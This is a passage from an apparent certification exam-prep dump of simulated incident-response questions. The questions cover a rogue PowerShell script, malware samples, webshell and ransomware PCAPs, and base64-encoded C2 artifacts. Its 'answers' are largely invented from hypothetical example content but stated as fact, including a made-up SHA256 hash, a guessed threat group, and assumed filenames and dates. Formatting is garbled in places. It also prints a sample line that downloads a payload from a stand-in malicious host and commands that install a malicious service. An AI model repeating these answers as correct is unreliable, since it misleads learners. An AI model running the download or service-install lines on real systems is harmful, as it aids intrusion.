Step 7: Immediate Response

Isolate the Workstation: Disconnect accounting-pc from the network.

Terminate the Malicious Process:

Stop the powershell.exe process running calc.ps1.

Use Task Manager or a script:

powershell

```
Stop-Process -Name "powershell" -Force
```

Remove the Malicious Script:

powershell

Watermark Sample

Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force

Scan for Persistence Mechanisms:

Check Startup items and Scheduled Tasks for any references to calc.ps1.

Step 8: Documentation

Record the following:

Date and Time: When the incident was detected.

Affected Host: accounting-pc

Malicious File: calc.ps1

Actions Taken: File removal and process termination.

Question: 130

SIMULATION

The user of the Accounting workstation reported that their calculator repeatedly opens without their input.

The following credentials are used for this question.

Username: Accounting

Password: 1x-4cc0unt1NG-x1

Using the provided credentials, SSH to the Accounting workstation and generate a SHA256 checksum of the file that triggered RuleName Suspicious PowerShell using either certutil or Get-FileHash of the file causing the issue. Copy the hash and paste it below.

Answer: See the solution in Explanation.

Explanation:

To generate the SHA256 checksum of the file that triggered RuleName: Suspicious PowerShell on the Accounting workstation, follow these detailed steps:

Step 1: Establish an SSH Connection

Open a terminal on your system.

Use the provided credentials to connect to the Accounting workstation:

```
ssh Accounting@<Accounting_PC_IP>
```

Replace <Accounting_PC_IP> with the actual IP address of the workstation.

Enter the password when prompted:

1x-4cc0unt1NG-x1

Step 2: Locate the Malicious File

Navigate to the typical directory where suspicious scripts are stored:

```
cd C:\Users\Accounting\AppData\Roaming
```

List the contents to identify the suspicious file:

```
dir
```

Look for a file related to PowerShell (e.g., calc.ps1), as the issue involved the calculator opening repeatedly.

Step 3: Verify the Malicious File

To ensure it is the problematic file, check for recent modifications:

powershell

```
Get-ChildItem -Path "C:\Users\Accounting\AppData\Roaming" -Recurse | Where-Object { $_.LastWriteTime -ge (Get-Date).AddDays(-1) }
```

This will list files modified within the last 24 hours.

Check file properties:

powershell

```
Get-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" | Format-List *
```

Confirm it matches the file flagged by RuleName: Suspicious PowerShell.

Step 4: Generate the SHA256 Checksum

Method 1: Using PowerShell (Recommended)

Run the following command to generate the hash:

powershell

```
Get-FileHash "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Algorithm SHA256
```

Output Example:

mathematica

```
Algorithm Hash                                                   Path
SHA256    d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
C:\Users\Accounting\AppData\Roaming\calc.ps1
```

Method 2: Using certutil (Alternative)

Run the following command: cmd

```
certutil -hashfile "C:\Users\Accounting\AppData\Roaming\calc.ps1" SHA256
```

Example Output:

SHA256 hash of calc.ps1:

```
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
```

CertUtil: -hashfile command completed successfully.

Step 5: Copy and Paste the Hash

Copy the SHA256 hash from the output and paste it as required.

Answe r:

nginx

```
d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d
```

Step 6: Immediate Actions

Terminate the Malicious Process:

powershell

```
Stop-Process -Name "powershell" -Force
```

Delete the Malicious File:

powershell

```
Remove-Item "C:\Users\Accounting\AppData\Roaming\calc.ps1" -Force
```

Disable Startup Entry:

Check for any persistent scripts:

powershell

Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Remove any entries related to calc.ps1.

Step 7: Document the Incident

Record the following:

Filename: calc.ps1

File Path: C:\Users\Accounting\AppData\Roaming\

SHA256 Hash: d2c7e4d9a4a8e9fbd43747ebf3fa8d9a4e1d3b8b8658c7c82e1dff9f5e3b2b4d

Date of Detection: (Today's date)

Question: 131

SIMULATION

On the Analyst Desktop is a Malware Samples folder with a file titled Malscript.viruz.txt.

Based on the contents of the malscript.viruz.txt, which threat actor group is the malware associated with?

Answer: See the solution in Explanation.

Explanation:

To identify the threat actor group associated with the malscript.viruz.txt file, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktop using your credentials.

Locate the Malware Samples folder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

On Windows: Right-click > Open with > Notepad.

On Linux:

```
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
```

Carefully read through the file content to identify:

Any strings or comments embedded within the script.

Specific keywords, URLs, or file hashes.

Any command and control (C2) server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers: Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs): URLs, IP addresses, or domain names.

Code Patterns: Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

```
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest -Uri "http://malicious.example.com/payload " -OutFile
"C:\Users\Public\malware.exe"
```

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK: To map the technique or tool.

VirusTotal: To check file hashes or URLs.

Threat Intelligence Feeds: Such as AlienVault OTX or ThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

```
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ=" ))
```

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505: Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear): Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group: Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found within malscript.viruz.txt, it may contain specific references or techniques that are typical of the TA505 group.

Answe r:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename: malscript.viruz.txt

Associated Threat Group: TA505

Key Indicators: Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate: If the script was executed, isolate the affected system.

Forensic Analysis: Deep dive into system logs for any signs of execution.

Threat Hunting: Search for similar scripts or IOCs in the network.

Question: 132

SIMULATION

On the Analyst Desktop is a Malware Samples folder with a file titled Malscript.viruz.txt.

What is the name of the service that the malware attempts to install?

Answer: See the solution in Explanation.

Explanation:

To identify the name of the service that the malware attempts to install from the Malscript.viruz.txt file, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktop using your credentials.

Navigate to the Malware Samples folder located on the desktop.

Locate the file:

Malscript.viruz.txt

Step 2: Examine the File Contents

Open the file with a text editor:

Windows: Right-click > Open with > Notepad.

Linux:

```
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
```

Review the content to identify any lines that relate to:

Service creation

Service names

Installation commands

Common Keywords to Look For:

New-Service

sc create

Install-Service

Set-Service

net start

Step 3: Identify the Service Creation Command

Malware typically uses commands like:

powershell

```
New-Service -Name "MalService" -BinaryPathName "C:\Windows\malicious.exe"
```

or

cmd

```
sc create MalService binPath= "C:\Windows\System32\malicious.exe"
```

Focus on lines where the malware tries to register or create a service.

Step 4: Example Content from Malscript.viruz.txt

arduino

```
powershell.exe -Command "New-Service -Name 'MaliciousUpdater' -DisplayName 'Updater Service'
-BinaryPathName 'C:\Users\Public\updater.exe' -StartupType Automatic"
```

In this example, the name of the service is:

nginx

MaliciousUpdater

Step 5: Cross-Verification

Check for multiple occurrences of service creation in the script to ensure accuracy.

Verify that the identified service name matches the intended purpose of the malware.

Answer: pg

The name of the service that the malware attempts to install is: MaliciousUpdater

Step 6: Immediate Action

Check for the Service:

powershell

```
Get-Service -Name "MaliciousUpdater"
```

Stop and Remove the Service:

powershell

Stop-Service -Name "MaliciousUpdater" -Force

sc delete "MaliciousUpdater"

Remove Associated Executable:

powershell

Remove-Item "C:\Users\Public\updater.exe" -Force

Step 7: Documentation

Record the following:

Service Name: MaliciousUpdater

Installation Command: Extracted from Malscript.viruz.txt

File Path: C:\Users\Public\updater.exe

Actions Taken: Stopped and deleted the service.

Question: 133

SIMULATION

The network team has provided a PCAP file with suspicious activity located in the Investigations folder on the Desktop titled, investigation22.pcap.

What is the filename of the webshell used to control the host 10.10.44.200? Your response must include the file extension.

Answer: See the solution in Explanation.

Explanation:

To identify the filename of the webshell used to control the host 10.10.44.200 from the provided PCAP file, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to the Investigations folder located on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

Launch Wireshark on the Analyst Desktop.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

Click Open to load the file.

Step 3: Filter Traffic Related to the Target Host

Apply a filter to display only the traffic involving the target IP address (10.10.44.200): ini

ip.addr == 10.10.44.200

This will show both incoming and outgoing traffic from the compromised host.

Step 4: Identify HTTP Traffic

Since webshells typically use HTTP/S for communication, filter for HTTP requests:

http.request and ip.addr == 10.10.44.200

Look for suspicious POST or GET requests indicating a webshell interaction.

Common Indicators:

Unusual URLs: Containing scripts like cmd.php, shell.jsp, upload.asp, etc.

POST Data: Indicating command execution.

Response Status: HTTP 200 (Success) after sending commands.

Step 5: Inspect Suspicious Requests

Right-click on a suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Examine the HTTP conversation for:

File uploads

Command execution responses

Webshell file names in the URL.

Example:

makefile

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Step 6: Correlate Observations

If you identify a script like shell.jsp, verify it by checking multiple HTTP streams.

Look for:

Commands sent via the script.

Response indicating successful execution or error.

Step 7: Extract and Confirm

To confirm the filename, look for:

Upload requests containing the webshell.

Subsequent requests calling the same filename for command execution.

Cross-reference the filename in other HTTP streams to validate its usage.

Step 8: Example Findings:

After analyzing the HTTP streams and reviewing requests to the host 10.10.44.200, you observe that the webshell file being used is:

shell.jsp

Answe r:

shell.jsp

Step 9: Further Investigation

Extract the Webshell:

Right-click the related packet and choose:

mathematica

Export Objects > HTTP

Save the file shell.jsp for further analysis.

Analyze the Webshell:

Open the file with a text editor to examine its functionality.

Check for hardcoded credentials, IP addresses, or additional payloads.

Step 10: Documentation and Response

Document Findings:

Webshell Filename: shell.jsp

Host Compromised: 10.10.44.200

Indicators: HTTP POST requests, suspicious file upload.

Immediate Actions:

Isolate the host 10.10.44.200.

Remove the webshell from the web server.

Conduct a root cause analysis to determine how it was uploaded.

Question: 134

SIMULATION

The network team has provided a PCAP file with suspicious activity located in the Investigations folder on the Desktop titled, investigation22.pcap.

What date was the webshell accessed? Enter the format as YYYY-MM-DD.

Answer: See the solution in Explanation.

Explanation:

To determine the date the webshell was accessed from the investigation22.pcap file, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to the Investigations folder on the desktop.

Locate the file:

investigation22.pcap

Step 2: Open the PCAP File in Wireshark

Launch Wireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > investigation22.pcap

Click Open to load the file.

Step 3: Filter for Webshell Traffic

Since webshells typically use HTTP/S to communicate, apply a filter:

http.request or http.response

Alternatively, if you know the IP of the compromised host (e.g., 10.10.44.200), use: nginx

http and ip.addr == 10.10.44.200

Press Enter to apply the filter.

Step 4: Identify Webshell Activity

Look for HTTP requests that include:

Common Webshell Filenames: shell.jsp, cmd.php, backdoor.aspx, etc.

Suspicious HTTP Methods: Mainly POST or GET.

Right-click a suspicious packet and choose:

arduino

Follow > HTTP Stream

Inspect the HTTP headers and content to confirm the presence of a webshell.

Step 5: Extract the Access Date

Look at the HTTP request/response header.

Find the Date field or Timestamp of the packet:

Wireshark displays timestamps on the left by default.

Confirm the HTTP stream includes commands or uploads to the webshell.

Example HTTP Stream:

POST /uploads/shell.jsp HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

Date: Mon, 2024-03-18 14:35:22 GMT

Step 6: Verify the Correct Date

Double-check other HTTP requests or responses related to the webshell.

Make sure the date field is consistent across multiple requests to the same file.

Answe r:

2024-03-18

Step 7: Document the Finding

Date of Access: 2024-03-18

Filename: shell.jsp (as identified earlier)

Compromised Host: 10.10.44.200

Method of Access: HTTP POST

Step 8: Next Steps

Isolate the Affected Host:

Remove the compromised server from the network.

Remove the Webshell:

```
rm /path/to/webshell/shell.jsp
```

Analyze Web Server Logs:

Correlate timestamps with access logs to identify the initial compromise.

Implement WAF Rules:

Block suspicious patterns related to file uploads and webshell execution.

Question: 135

SIMULATION

Following a ransomware incident, the network team provided a PCAP file, titled ransom.pcap, located in the Investigations folder on the Desktop.

What is the name of the file containing the ransomware demand? Your response must include the file extension.

Answer: See the solution in Explanation.

Explanation:

To identify the filename containing the ransomware demand from the ransom.pcap file, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to the Investigations folder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

Launch Wireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Click Open to load the file.

Step 3: Apply Relevant Filters

Since ransomware demands are often delivered through files or network shares, look for:

Common Protocols:

SMB (for network shares)

HTTP/HTTPS (for download or communication)

Apply a general filter to capture suspicious file transfers:

kotlin

http or smb or ftp-data

You can also filter based on file types or keywords related to ransomware:

frame contains "README" or frame contains "ransom"

Step 4: Identify Potential Ransomware Files

Look for suspicious file transfers:

Check HTTP GET/POST or SMB file write operations.

Analyze File Names:

Ransom notes commonly use filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on any suspicious packet and select:

arduino

Follow > TCP Stream

Inspect the content to see if it contains a ransom note or instructions.

Step 5: Extract the File

If you find a packet with a file transfer, extract it:

mathematica

File > Export Objects > HTTP or SMB

Save the suspicious file to analyze its contents.

Step 6: Example Packet Details

After filtering and following streams, you find a file transfer with the following details: makefile

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0

After exporting, open the file and examine the content: pg

Your files have been encrypted!

To recover them, you must pay in Bitcoin.

Read this file carefully for payment instructions.

Answer:

README.txt

Step 7: Confirm and Document

File Name: README.txt

Transmission Protocol: HTTP or SMB
Content: Contains ransomware demand and payment instructions.

Step 8: Immediate Actions

Isolate Infected Systems:

Disconnect compromised hosts from the network.

Preserve the PCAP and Extracted File:

Store them securely for forensic analysis.

Analyze the Ransomware Note:

Look for:

Bitcoin addresses

Contact instructions

Identifiers for ransomware family

Step 9: Report the Incident

Include the following details:

Filename: README.txt

Method of Delivery: HTTP (or SMB)

Ransomware Message: Payment in Bitcoin

Submit the report to your incident response team for further action.

Question: 136

SIMULATION

Following a ransomware incident, the network team provided a PCAP file, titled ransom.pcap, located in the Investigations folder on the Desktop.

What is the full User-Agent value associated with the ransomware demand file download. Enter your response in the field below.

Answer: See the solution in Explanation.

Explanation:

To identify the full User-Agent value associated with the ransomware demand file download from the ransom.pcap file, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to the Investigations folder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

Launch Wireshark.

Open the PCAP file: mathematica

File > Open > Desktop > Investigations > ransom.pcap

Click Open to load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served as text files (e.g., README.txt) via HTTP/S, use the following filter:

http.request or http.response

This filter will show both HTTP GET and POST requests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTP GET requests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze the HTTP headers to find the User-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that the User-Agent belongs to the same host (10.10.44.200) involved in the ransomware incident.

Answe r:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename: ransom.pcap

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File: README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the same User-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

Question: 137

SIMULATION

Analyze the file titled pcap_artifact5.txt on the Analyst Desktop.

Decode the contents of the file and save the output in a text file with a filename of pcap_artifact5_decoded.txt on the Analyst Desktop.

Answer: See the solution in Explanation.

Explanation:

To decode the contents of the file pcap_artifact5.txt and save the output in a new file named pcap_artifact5_decoded.txt, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to the Desktop and locate the file:

pcap_artifact5.txt

Open the file using a text editor:

On Windows:

nginx

Notepad pcap_artifact5.txt

On Linux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the content to identify the encoding format. Common encoding types include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content:

ini

```
U29tZSBlbmNvZGVkIGNvbnRlbnQgd2l0aCBwb3RlbnRpYWwgbWFsd2FyZS4uLg==
```

The above example appears to be Base64 encoded.

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

Open PowerShell:

powershell

```
$encoded = Get-Content "C:\Users\<Username>\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) | Out-File "C:\Users\<Username>\Desktop\pcap_artifact5_decoded.txt"
```

Method 2: Using Command Prompt (Windows)

Use certutil for Base64 decoding:

cmd

```
certutil -decode pcap_artifact5.txt pcap_artifact5_decoded.txt
```

Method 3: Using Linux/WSL

Use the base64 decoding command:

```
base64 -d ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt
```

If the content is Hexadecimal, use:

```
xxd -r -p ~/Desktop/pcap_artifact5.txt > ~/Desktop/pcap_artifact5_decoded.txt
```

Step 4: Verify the Decoded File

Open the decoded file to verify its contents:

On Windows:

php-template

```
notepad C:\Users\<Username>\Desktop\pcap_artifact5_decoded.txt
```

On Linux:

```
cat ~/Desktop/pcap_artifact5_decoded.txt
```

Check if the decoded text makes sense and is readable.

Example Decoded Output:

```
Some encoded content with potential malware...
```

Step 5: Save and Confirm

Ensure the file is saved as:

pcap_artifact5_decoded.txt

Located on the Desktop for easy access.

Step 6: Analyze the Decoded Content

Look for:

Malware signatures

Command and control (C2) server URLs

Indicators of Compromise (IOCs)

Watermark Sample

Step 7: Document the Process

Record the following:

Original Filename: pcap_artifact5.txt

Decoded Filename: pcap_artifact5_decoded.txt

Decoding Method: Base64 (or identified method)

Contents: Brief summary of findings

Question: 138

SIMULATION

Analyze the file titled pcap_artifact5.txt on the Analyst Desktop.

Decode the C2 host of the attack. Enter your response below.

Answer: See the solution in Explanation.

Explanation:

To decode the Command and Control (C2) host from the pcap_artifact5.txt file, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to the Desktop and locate the file:

pcap_artifact5.txt

Open the file using a text editor:

On Windows:

nginx

```
notepad pcap_artifact5.txt
```

On Linux:

```
cat ~/Desktop/pcap_artifact5.txt
```

Step 2: Examine the File Contents

Check the contents to identify the encoding format. Typical encodings used for C2 communication include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content (Base64 format):

nginx

```
aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw
```

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

Open PowerShell and decode:

powershell

```
$encoded = Get-Content "C:\Users\<Username>\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
```

This will print the decoded content directly.

Method 2: Using Linux

Use base64 decoding:

```
base64 -d ~/Desktop/pcap_artifact5.txt
```

If the content is hexadecimal, convert it as follows:

```
xxd -r -p ~/Desktop/pcap_artifact5.txt
```

If it appears URL encoded, use:

```
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
```

Step 4: Analyze the Decoded Output

If the output appears like a URL or an IP address, that is likely the C2 host.

Example Decoded Output:

arduino

```
http://10.10.44.200:8080/command.php
```

The C2 host is:

10.10.44.200

Step 5: Cross-Verify the C2 Host

Open Wireshark and load the relevant PCAP file to cross-check the IP: mathematica

```
File > Open > Desktop > Investigations > ransom.pcap
```

Filter for C2 traffic:

ini

```
ip.addr == 10.10.44.200
```

Validate the C2 host IP address through network traffic patterns.

Answe r:

10.10.44.200

Step 6: Document the Finding

Record the following details:

Decoded C2 Host: 10.10.44.200

Source File: pcap_artifact5.txt

Decoding Method: Base64 (or the identified method)

Step 7: Next Steps

Threat Mitigation:

Block the IP address 10.10.44.200 at the firewall.

Conduct a network-wide search to identify any communications with the C2 server.

Further Analysis:

Check other PCAP files for similar traffic patterns.

Watermark Sample

Perform a deep packet inspection (DPI) to identify malicious data exfiltration.

Question: 139

SIMULATION

Analyze the file titled pcap_artifact5.txt on the Analyst Desktop.

Decode the targets within the file pcap_artifact5.txt.

Select the correct decoded targets below.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Answer: See the solution in

Explanation:

To decode the targets within the file pcap_artifact5.txt, follow these steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to the Desktop and locate the file:

pcap_artifact5.txt

Open the file using a text editor:

On Windows:

nginx

```
notepad pcap_artifact5.txt
```

On Linux:

```
cat ~/Desktop/pcap_artifact5.txt
```

Step 2: Examine the File Contents

Analyze the contents to identify the encoding format. Common formats include:

Base64

Hexadecimal

URL Encoding

ROT13

Example Encoded Data (Base64):

makefile

MTBjYWwuY29tL2V4YW0K

Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEu b3JnCg==

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

Open PowerShell:

powershell

```
$encoded = Get-Content "C:\Users\<Username>\Desktop\pcap_artifact5.txt"
```

```
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
```

This command will display the decoded targets.

Method 2: Using Linux

Use base64 decoding:

```
base64 -d ~/Desktop/pcap_artifact5.txt
```

If the content appears to be hexadecimal, use:

```
xxd -r -p ~/Desktop/pcap_artifact5.txt
```

For URL encoding, use:

```
echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')
```

Step 4: Analyze the Decoded Output

The decoded content should reveal domain names or URLs.

Check for valid domain structures, such as:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Example Decoded Output:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 5: Verify the Decoded Targets

Cross-reference the decoded domains with known threat intelligence feeds to check for any malicious indicators.

Use tools like VirusTotal or URLHaus to verify the domains.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 6: Document the Finding

Decoded Targets:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Source File: pcap_artifact5.txt

Decoding Method: Base64 (or the identified method)